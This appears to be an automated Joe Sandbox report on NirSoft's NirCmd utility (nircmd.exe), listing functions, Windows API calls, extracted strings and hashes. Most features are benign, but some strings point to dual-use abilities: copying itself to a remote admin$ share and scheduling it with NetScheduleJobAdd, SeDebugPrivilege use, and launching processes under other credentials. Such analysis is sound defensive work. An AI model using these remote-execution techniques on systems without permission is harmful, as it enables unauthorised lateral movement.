Instruction ID: 0939bb49694a9fde338943d3a18945382841ac9d58c0c1bb794352cce71fa38e
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: E701886291CA0385F720BF62D4A527EE3A0EF46BA4FD00437D54D86685FE3CD5088B24

Analysis Process: nircmd.exePID: 3176, Parent PID: 6512COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17%
Total number of Nodes:	1934
Total number of Limit Nodes:	1

Executed Functions

Function 0000000140015C78 Relevance: 9.1, APIs: 6, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 0000000140015D20
__setusermatherr.MSVCRT ref: 0000000140015D6F
_initterm.MSVCRT ref: 0000000140015D83
__getmainargs.MSVCRT ref: 0000000140015DBA
_initterm.MSVCRT ref: 0000000140015DCE
_cexit.MSVCRT ref: 0000000140015E6D

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: 34eaef9cb68d0d57b01bdeb83a77275bddf2b11a09fe61333579497b7a1a4689
Instruction ID: b2c2c76a933534f814a29009beffd812c5aa1c3e2cd763faf93c9363afcdce34
Opcode Fuzzy Hash: 34eaef9cb68d0d57b01bdeb83a77275bddf2b11a09fe61333579497b7a1a4689
Instruction Fuzzy Hash: F4413831518A81C6E766AF16E4807E873A1F34C3D5F500216FBAA4F2F5DB7AC945CB00

Function 0000000140015C50 Relevance: 7.6, APIs: 5, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32 ref: 0000000140015C66

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: InfoStartup
String ID:
API String ID: 2571198056-0
Opcode ID: 964fe2810de94703988e09a15cc3809d5fc57ac51d3a1a1acd64eae86d3084c2
Instruction ID: ac02b751b0601268f0d4c90d11333cd68f9c928c3dfc6917735b9e7b55c74a0b
Opcode Fuzzy Hash: 964fe2810de94703988e09a15cc3809d5fc57ac51d3a1a1acd64eae86d3084c2
Instruction Fuzzy Hash: 3E311471604A41C6E762AF26E8847E837B0F3487E5F404216FB694B2F5DB3AC945C700

Function 000000014000423A Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DialogBoxParamA.USER32 ref: 0000000140004258
FreeLibrary.KERNEL32 ref: 00000001400042A7

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: DialogFreeLibraryParam
String ID:
API String ID: 1367371229-0
Opcode ID: 7804e4c2e36f454ba8ac1d938394113bc91bb3f52a01db88a517f02848141e59
Instruction ID: c9cb731f711de10aa55871dec2e3f99669ffb9b02c2a48162954d734993dfad3
Opcode Fuzzy Hash: 7804e4c2e36f454ba8ac1d938394113bc91bb3f52a01db88a517f02848141e59
Instruction Fuzzy Hash: 6201F2F1319A80A3EB23DB52E8817E93364FB8C784F800512BB4D5B5B6DB79D549CB08

Non-executed Functions

Function 000000014000C0FA Relevance: 267.4, APIs: 109, Strings: 43, Instructions: 1423windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000702C: _stricmp.MSVCRT(?,?,?,000000014000BA42,?,?,?,?,?,?,?,?), ref: 000000014000703D

CoUninitialize.OLE32(?,?,?,?,?,?,?,?), ref: 000000014000EB44
CoInitialize.OLE32(E9000054), ref: 00000001400103D8
memset.MSVCRT ref: 0000000140010405
memset.MSVCRT ref: 000000014001041F
MultiByteToWideChar.KERNEL32 ref: 0000000140010453
MultiByteToWideChar.KERNEL32 ref: 0000000140010484
atof.MSVCRT ref: 00000001400104C2
MessageBeep.USER32 ref: 00000001400117A8

Strings

http://nircmd.nirsoft.net, xrefs: 0000000140011490
%s: Succeed, xrefs: 0000000140010693
speak, xrefs: 000000014000C333
savescreenshotfull, xrefs: 000000014000C3BE, 0000000140011573
*clipboard*, xrefs: 0000000140010F30, 00000001400116C1
dlg, xrefs: 000000014000C30C
setdefaultsounddevice, xrefs: 000000014000C11A
savescreenshot, xrefs: 000000014000C3A8
stdbeep, xrefs: 000000014000C2CB
regsvr, xrefs: 000000014000C15E
savescreenshotwin, xrefs: 000000014000C3E5
deskrefresh, xrefs: 000000014000C263
, xrefs: 0000000140011675
showsounddevices, xrefs: 000000014000C141
shellcopy, xrefs: 000000014000C381
yestoall, xrefs: 0000000140010D2B
file, xrefs: 0000000140010A77
sysrefreshfont, xrefs: 000000014000C27D
rem, xrefs: 000000014000C433
http://nircmd.nirsoft.net/%s.html, xrefs: 000000014001147B
shellrefresh, xrefs: 000000014000C1FB
help, xrefs: 000000014000C485
sysrefresh, xrefs: 000000014000C2B1
unreg, xrefs: 00000001400105C0
Shell Icon BPP, xrefs: 0000000140011885
xml, xrefs: 0000000140010A98
nosecattr, xrefs: 0000000140010D77
gac, xrefs: 000000014000C182
install, xrefs: 000000014000C1AA
returnval, xrefs: 000000014000C2E5
silent, xrefs: 0000000140010D5E
%s: Failed to load the registration function, xrefs: 00000001400106AE
filldelete, xrefs: 000000014000C40C
%s: Failed to load the library, xrefs: 00000001400106A0
Failed the install the specified assembly, xrefs: 0000000140010734
convertimage, xrefs: 000000014000C23C
dlgany, xrefs: 000000014000C35A
sysrefreshcolor, xrefs: 000000014000C297
trayballoon, xrefs: 000000014000C45E
convertimages, xrefs: 000000014000C215
Control Panel\Desktop\WindowMetrics, xrefs: 0000000140011894
noerrorui, xrefs: 0000000140010D44
open, xrefs: 00000001400114B1

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWidememset$BeepInitializeMessageUninitialize_stricmpatof
String ID: $%s: Failed to load the library$%s: Failed to load the registration function$%s: Succeed$*clipboard*$Control Panel\Desktop\WindowMetrics$Failed the install the specified assembly$Shell Icon BPP$convertimage$convertimages$deskrefresh$dlg$dlgany$file$filldelete$gac$help$http://nircmd.nirsoft.net$http://nircmd.nirsoft.net/%s.html$install$noerrorui$nosecattr$open$regsvr$rem$returnval$savescreenshot$savescreenshotfull$savescreenshotwin$setdefaultsounddevice$shellcopy$shellrefresh$showsounddevices$silent$speak$stdbeep$sysrefresh$sysrefreshcolor$sysrefreshfont$trayballoon$unreg$xml$yestoall
API String ID: 3586644319-2222694224
Opcode ID: 964c37668f09d50b32f82033f07a87f0fd50857f906c75ee9656b08f5da58a6c
Instruction ID: cb960aa0136083dd2c122111bc65f33d5fb09cb8004e601d9c21c372fbcd879c
Opcode Fuzzy Hash: 964c37668f09d50b32f82033f07a87f0fd50857f906c75ee9656b08f5da58a6c
Instruction Fuzzy Hash: 9AE27EB2608AC486EB26DB22F4557DEB361F78C7C4F504115EB9A4BAA6DF3DC149CB00

Function 00000001400066A8 Relevance: 82.7, APIs: 36, Strings: 11, Instructions: 469
stringclipboardtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strtoul.MSVCRT ref: 000000014000675A
memcpy.MSVCRT ref: 00000001400067FE
_strnicmp.MSVCRT ref: 0000000140006829
memset.MSVCRT ref: 000000014000684B
strlen.MSVCRT ref: 0000000140006879
_strnicmp.MSVCRT ref: 00000001400068C0
memset.MSVCRT ref: 00000001400068E2
strlen.MSVCRT ref: 000000014000690C
_strnicmp.MSVCRT ref: 0000000140006953
memset.MSVCRT ref: 000000014000697B
GetDateFormatA.KERNEL32 ref: 00000001400069A3
strlen.MSVCRT ref: 00000001400069B1
_strnicmp.MSVCRT ref: 00000001400069F8
memset.MSVCRT ref: 0000000140006A20
GetTimeFormatA.KERNEL32 ref: 0000000140006A48
strlen.MSVCRT ref: 0000000140006A56
memcpy.MSVCRT ref: 0000000140006DAB
_strnicmp.MSVCRT ref: 0000000140006DCD
OpenClipboard.USER32 ref: 0000000140006DDD
GetClipboardData.USER32 ref: 0000000140006DED
GlobalLock.KERNEL32 ref: 0000000140006DFE
memcpy.MSVCRT ref: 0000000140006E35
GlobalUnlock.KERNEL32 ref: 0000000140006E40
CloseClipboard.USER32 ref: 0000000140006E4B

Strings

sys., xrefs: 0000000140006A88
nir., xrefs: 0000000140006B06
f, xrefs: 0000000140006C66
clipboard, xrefs: 0000000140006DB8
param., xrefs: 0000000140006BAD
currdate., xrefs: 000000014000693E
currtime., xrefs: 00000001400069E3
loopcount, xrefs: 00000001400068AB
fparam., xrefs: 0000000140006D12
exefile, xrefs: 0000000140006B46
folder., xrefs: 0000000140006806

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _strnicmp$memsetstrlen$Clipboardmemcpy$FormatGlobal$CloseDataDateLockOpenTimeUnlockstrtoul
String ID: clipboard$currdate.$currtime.$exefile$f$folder.$fparam.$loopcount$nir.$param.$sys.
API String ID: 2395358083-3933613765
Opcode ID: 6869a6a5ddc59649c6e8b957e798ea409b1791c3c071c62413d80a6959d5d520
Instruction ID: b65225af348f11d7c05ac22ffa345657cb140650ec1c380d7be534c0bcfef4d0
Opcode Fuzzy Hash: 6869a6a5ddc59649c6e8b957e798ea409b1791c3c071c62413d80a6959d5d520
Instruction Fuzzy Hash: 6E12C6F13086C086EB36DB26E4903ED6792F7587C4F804415E79A9B6F9EB3AC545C701

Function 0000000140001000 Relevance: 64.9, APIs: 28, Strings: 9, Instructions: 183
windowstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChildWindowFromPoint.USER32 ref: 000000014000106A
GetDlgItem.USER32 ref: 000000014000107B
ShellExecuteA.SHELL32 ref: 00000001400010AF
ChildWindowFromPoint.USER32 ref: 00000001400010D4
GetDlgItem.USER32 ref: 00000001400010E5
LoadCursorA.USER32 ref: 0000000140001100
SetCursor.USER32 ref: 0000000140001109
GetDlgItem.USER32 ref: 0000000140001116
SetBkMode.GDI32 ref: 000000014000112A
SetTextColor.GDI32 ref: 0000000140001138
GetSysColorBrush.USER32 ref: 0000000140001143
EndDialog.USER32 ref: 000000014000116B
DeleteObject.GDI32 ref: 0000000140001178
memcpy.MSVCRT ref: 00000001400011AF
MessageBoxA.USER32 ref: 00000001400011C9
memset.MSVCRT ref: 00000001400011F2
GetWindowsDirectoryA.KERNEL32 ref: 0000000140001202
strcat.MSVCRT ref: 0000000140001224
GetModuleFileNameA.KERNEL32 ref: 0000000140001236
CopyFileA.KERNEL32 ref: 000000014000124F
MessageBoxA.USER32 ref: 0000000140001271
SetWindowTextA.USER32 ref: 0000000140001283
SetDlgItemTextA.USER32 ref: 0000000140001298
SetDlgItemTextA.USER32 ref: 00000001400012AD
GetDlgItem.USER32 ref: 00000001400012BB
strcpy.MSVCRT ref: 0000000140001319
CreateFontIndirectA.GDI32 ref: 0000000140001323
SendMessageA.USER32 ref: 000000014000133C

Strings

NirCmd, xrefs: 00000001400011B8, 000000014000127C
nircmd.exe, xrefs: 0000000140001215
Error, xrefs: 0000000140001261
Failed to copy NirCmd !, xrefs: 0000000140001268
MS Sans Serif, xrefs: 00000001400012C3
NirCmd v2.87Copyright (c) 2003 - 2024 Nir SoferFor more information about using this utility, read the help file - nircmd.chm, xrefs: 0000000140001289
open, xrefs: 0000000140001098
If you copy NirCmd utility into your Windows directory, you'll be able to use NirCmd without specifying the full path of nircmd.exeDo you want to copy NirCmd into your Windows directory ?, xrefs: 00000001400011A2
https://www.nirsoft.net, xrefs: 0000000140001091, 000000014000129E

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Item$Text$MessageWindow$ChildColorCursorFileFromPoint$BrushCopyCreateDeleteDialogDirectoryExecuteFontIndirectLoadModeModuleNameObjectSendShellWindowsmemcpymemsetstrcatstrcpy
String ID: Error$Failed to copy NirCmd !$If you copy NirCmd utility into your Windows directory, you'll be able to use NirCmd without specifying the full path of nircmd.exeDo you want to copy NirCmd into your Windows directory ?$MS Sans Serif$NirCmd$NirCmd v2.87Copyright (c) 2003 - 2024 Nir SoferFor more information about using this utility, read the help file - nircmd.chm$https://www.nirsoft.net$nircmd.exe$open
API String ID: 569691912-1014164278
Opcode ID: 986588bf4e7f21102152e0aeb5af57c2cda049d6adc8fee736b9f72736bb4b5b
Instruction ID: 13bd948e167c00f18b3c0a2367b685ed5e7cf2b8a61955dc7aca42bc5ab29d9d
Opcode Fuzzy Hash: 986588bf4e7f21102152e0aeb5af57c2cda049d6adc8fee736b9f72736bb4b5b
Instruction Fuzzy Hash: D9915B71208A8186EB62DF26E8547DA7761F78CBC4F805015FB4A4BAB8DF7DC64AC740

Function 00000001400057E0 Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 206
stringprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 000000014000582D
memset.MSVCRT ref: 0000000140005847
GetWindowsDirectoryA.KERNEL32 ref: 0000000140005857
strlen.MSVCRT ref: 0000000140005864
strlen.MSVCRT ref: 0000000140005874
FindWindowA.USER32 ref: 00000001400058C1
GetWindowThreadProcessId.USER32 ref: 00000001400058DE
OpenProcess.KERNEL32 ref: 0000000140005904
CloseHandle.KERNEL32 ref: 000000014000598C
CloseHandle.KERNEL32 ref: 0000000140005995
PostMessageA.USER32 ref: 00000001400059B7
EnumWindows.USER32 ref: 00000001400059EA
memset.MSVCRT ref: 0000000140005A0E
memset.MSVCRT ref: 0000000140005A50
MultiByteToWideChar.KERNEL32 ref: 0000000140005A77

Part of subcall function 0000000140002C40: strcpy.MSVCRT ref: 0000000140002C56
Part of subcall function 0000000140002C40: strcat.MSVCRT ref: 0000000140002C69

CloseHandle.KERNEL32 ref: 0000000140005AE2
memset.MSVCRT ref: 0000000140005B4E
CreateProcessA.KERNEL32 ref: 0000000140005BA8
FreeLibrary.KERNEL32 ref: 0000000140005BBB

Strings

Explorer.exe, xrefs: 000000014000585D, 000000014000588B
h, xrefs: 0000000140005B99
Progman, xrefs: 0000000140005AF5
h, xrefs: 0000000140005A3D
Shell_TrayWnd, xrefs: 00000001400058BA

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: memset$CloseHandleProcess$WindowWindowsstrlen$ByteCharCreateDirectoryEnumFindFreeLibraryMessageMultiOpenPostThreadWidestrcatstrcpy
String ID: Explorer.exe$Progman$Shell_TrayWnd$h$h
API String ID: 2721877098-3944673889
Opcode ID: 68bfc29b79b0b99c3d1756627be255785a6f4bdff29bda250d2e6fbda140ab00
Instruction ID: f08d8362585dc043cf17baf8715f9e4c78095134fdd35584d41bc62820cc573f
Opcode Fuzzy Hash: 68bfc29b79b0b99c3d1756627be255785a6f4bdff29bda250d2e6fbda140ab00
Instruction Fuzzy Hash: 0AA13972218A8086E722EB16F8907DFB7A5F789B81F804115EB8D47AA9DF79C545CB00

Function 00000001400080E0 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 203COMMON

Download Yara Rule

APIs

Part of subcall function 0000000140011D84: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011D9B
Part of subcall function 0000000140011D84: LoadLibraryA.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011DAD
Part of subcall function 0000000140011D84: GetProcAddress.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011DC9
Part of subcall function 0000000140011D84: FreeLibrary.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011DE6
Part of subcall function 0000000140011D84: LoadLibraryA.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011DFB
Part of subcall function 0000000140011D84: GetProcAddress.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011E13
Part of subcall function 0000000140011D84: FreeLibrary.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011E2D
Part of subcall function 0000000140011D84: LoadLibraryA.KERNEL32 ref: 0000000140011E4F
Part of subcall function 0000000140011D84: GetProcAddress.KERNEL32 ref: 0000000140011E67
Part of subcall function 0000000140011D84: FreeLibrary.KERNEL32 ref: 0000000140011E90
Part of subcall function 0000000140011D84: GetLastError.KERNEL32 ref: 0000000140011E96
Part of subcall function 0000000140011D84: CloseHandle.KERNEL32 ref: 0000000140011EA3

Part of subcall function 0000000140012A40: free.MSVCRT ref: 0000000140012A64
Part of subcall function 0000000140012A40: CreateToolhelp32Snapshot.KERNEL32 ref: 0000000140012A7A
Part of subcall function 0000000140012A40: memset.MSVCRT ref: 0000000140012A92
Part of subcall function 0000000140012A40: Process32First.KERNEL32 ref: 0000000140012AAD
Part of subcall function 0000000140012A40: Process32Next.KERNEL32 ref: 0000000140012C6F
Part of subcall function 0000000140012A40: CloseHandle.KERNEL32 ref: 0000000140012C80

_mbsicmp.MSVCRT ref: 00000001400081FA
_mbsicmp.MSVCRT ref: 0000000140008225
memset.MSVCRT ref: 0000000140008272
MultiByteToWideChar.KERNEL32 ref: 0000000140008297
OpenProcess.KERNEL32 ref: 00000001400082AF
CloseHandle.KERNEL32 ref: 000000014000833D
GetLastError.KERNEL32 ref: 0000000140008343
CloseHandle.KERNEL32 ref: 0000000140008356
memset.MSVCRT ref: 0000000140008380

Part of subcall function 0000000140002DF4: strtoul.MSVCRT ref: 0000000140002E0D

Part of subcall function 0000000140001368: LoadLibraryA.KERNEL32 ref: 000000014000137F
Part of subcall function 0000000140001368: GetProcAddress.KERNEL32 ref: 0000000140001393
Part of subcall function 0000000140001368: GetProcAddress.KERNEL32 ref: 00000001400013A7
Part of subcall function 0000000140001368: GetProcAddress.KERNEL32 ref: 00000001400013BC
Part of subcall function 0000000140001368: GetProcAddress.KERNEL32 ref: 00000001400013D1

GetLastError.KERNEL32 ref: 00000001400083F9
CloseHandle.KERNEL32 ref: 0000000140008411
FreeLibrary.KERNEL32 ref: 0000000140008424
FreeLibrary.KERNEL32 ref: 0000000140008437
free.MSVCRT ref: 000000014000844F
free.MSVCRT ref: 0000000140008461

Strings

h, xrefs: 00000001400083A4
SeDebugPrivilege, xrefs: 00000001400080FB

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Library$AddressProc$CloseFreeHandle$Load$ErrorLastfreememset$ProcessProcess32_mbsicmp$ByteCharCreateCurrentFirstMultiNextOpenSnapshotToolhelp32Widestrtoul
String ID: SeDebugPrivilege$h
API String ID: 1526464300-4193718954
Opcode ID: b3742b4eee962b4fea5c1e16d5c734bf6f25c78616092017d48553cbebc1b3b0
Instruction ID: 19b8bec7b8aff4e99c1af703dcee8b8679d7cbc5b584f4d9b24f253c7b53fdc6
Opcode Fuzzy Hash: b3742b4eee962b4fea5c1e16d5c734bf6f25c78616092017d48553cbebc1b3b0
Instruction Fuzzy Hash: 3D912A72619AD086E772DB16F4407DEB3A5F788BD0F444026FBC947AAACF78C5468B01

Function 000000014000A4C4 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 159stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000014000A525
memset.MSVCRT ref: 000000014000A542
memset.MSVCRT ref: 000000014000A560
sprintf.MSVCRT ref: 000000014000A577
MultiByteToWideChar.KERNEL32 ref: 000000014000A5A3
MultiByteToWideChar.KERNEL32 ref: 000000014000A5C8
memset.MSVCRT ref: 000000014000A68F
memset.MSVCRT ref: 000000014000A6AC
GetModuleFileNameA.KERNEL32 ref: 000000014000A6BB
strcpy.MSVCRT ref: 000000014000A6CC
strcat.MSVCRT ref: 000000014000A6ED
CopyFileA.KERNEL32 ref: 000000014000A702

Part of subcall function 0000000140015B50: _onexit.MSVCRT ref: 0000000140015B5E

Strings

NetApiBufferFree, xrefs: 000000014000A75F
nircmd.exe %s, xrefs: 000000014000A565
admin$\nircmd.exe, xrefs: 000000014000A6DE
NetScheduleJobAdd, xrefs: 000000014000A714
NetRemoteTOD, xrefs: 000000014000A5DA

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: memset$ByteCharFileMultiWide$CopyModuleName_onexitsprintfstrcatstrcpy
String ID: NetApiBufferFree$NetRemoteTOD$NetScheduleJobAdd$admin$\nircmd.exe$nircmd.exe %s
API String ID: 822963163-2025064379
Opcode ID: 78957874fb8913a0dd188896a5f6b4e070945d977c663c8ae0e5007aee67e2ba
Instruction ID: 0fd58e8ad6ae86e70ef3585df336a80c279d4457b32d3090bb9d04429dcf90b4
Opcode Fuzzy Hash: 78957874fb8913a0dd188896a5f6b4e070945d977c663c8ae0e5007aee67e2ba
Instruction Fuzzy Hash: EA715E72218B8091EB26DB16E8903D9B7A1F79D384F844126FB4D4B6B9EF7DC109C700

Function 00000001400054D8 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000140005522
memset.MSVCRT ref: 000000014000553C
memset.MSVCRT ref: 0000000140005550
memset.MSVCRT ref: 000000014000556F
memset.MSVCRT ref: 000000014000558C
memset.MSVCRT ref: 00000001400055A6
MultiByteToWideChar.KERNEL32 ref: 00000001400055DC
MultiByteToWideChar.KERNEL32 ref: 000000014000560F
MultiByteToWideChar.KERNEL32 ref: 000000014000563F
MultiByteToWideChar.KERNEL32 ref: 0000000140005674
LoadLibraryA.KERNEL32 ref: 0000000140005689
GetProcAddress.KERNEL32 ref: 00000001400056A1
GetLastError.KERNEL32 ref: 00000001400056F7
FreeLibrary.KERNEL32 ref: 0000000140005709
GetLastError.KERNEL32 ref: 0000000140005711

Strings

CreateProcessWithLogonW, xrefs: 0000000140005697
advapi32.dll, xrefs: 0000000140005682

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: memset$ByteCharMultiWide$ErrorLastLibrary$AddressFreeLoadProc
String ID: CreateProcessWithLogonW$advapi32.dll
API String ID: 969872975-2238408776
Opcode ID: acc55802c27003b7c75fe18ddc28fa3fd5ba5fb11ce05fed2a6f20d645a7d98d
Instruction ID: b6013b693067b07c3bd014090eddd6fdb69cb4ab41e4d4b04c182be996e15c2d
Opcode Fuzzy Hash: acc55802c27003b7c75fe18ddc28fa3fd5ba5fb11ce05fed2a6f20d645a7d98d
Instruction Fuzzy Hash: D0518A72208B8191EB31EF56F8407DBA6A1F7897C4F884125EF8D47BA9DB3EC1058B04

Function 0000000140012A40 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 129processlibrarystringCOMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0000000140012A64
CreateToolhelp32Snapshot.KERNEL32 ref: 0000000140012A7A
memset.MSVCRT ref: 0000000140012A92
Process32First.KERNEL32 ref: 0000000140012AAD
OpenProcess.KERNEL32 ref: 0000000140012B1E
memset.MSVCRT ref: 0000000140012B48

Part of subcall function 0000000140012CA0: LoadLibraryA.KERNEL32 ref: 0000000140012CB6
Part of subcall function 0000000140012CA0: GetProcAddress.KERNEL32 ref: 0000000140012CC9
Part of subcall function 0000000140012CA0: GetProcAddress.KERNEL32 ref: 0000000140012CDD
Part of subcall function 0000000140012CA0: GetProcAddress.KERNEL32 ref: 0000000140012CF1
Part of subcall function 0000000140012CA0: GetProcAddress.KERNEL32 ref: 0000000140012D05
Part of subcall function 0000000140012CA0: GetProcAddress.KERNEL32 ref: 0000000140012D19

GetModuleHandleA.KERNEL32 ref: 0000000140012B96
GetProcAddress.KERNEL32 ref: 0000000140012BB5
strcpy.MSVCRT ref: 0000000140012BFE
CloseHandle.KERNEL32 ref: 0000000140012C0D

Part of subcall function 0000000140012164: strchr.MSVCRT ref: 0000000140012185
Part of subcall function 0000000140012164: strcpy.MSVCRT ref: 000000014001221D

memcpy.MSVCRT ref: 0000000140012C5F
Process32Next.KERNEL32 ref: 0000000140012C6F
CloseHandle.KERNEL32 ref: 0000000140012C80

Strings

kernel32.dll, xrefs: 0000000140012B8F
:, xrefs: 0000000140012BE7
QueryFullProcessImageNameA, xrefs: 0000000140012BA1

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

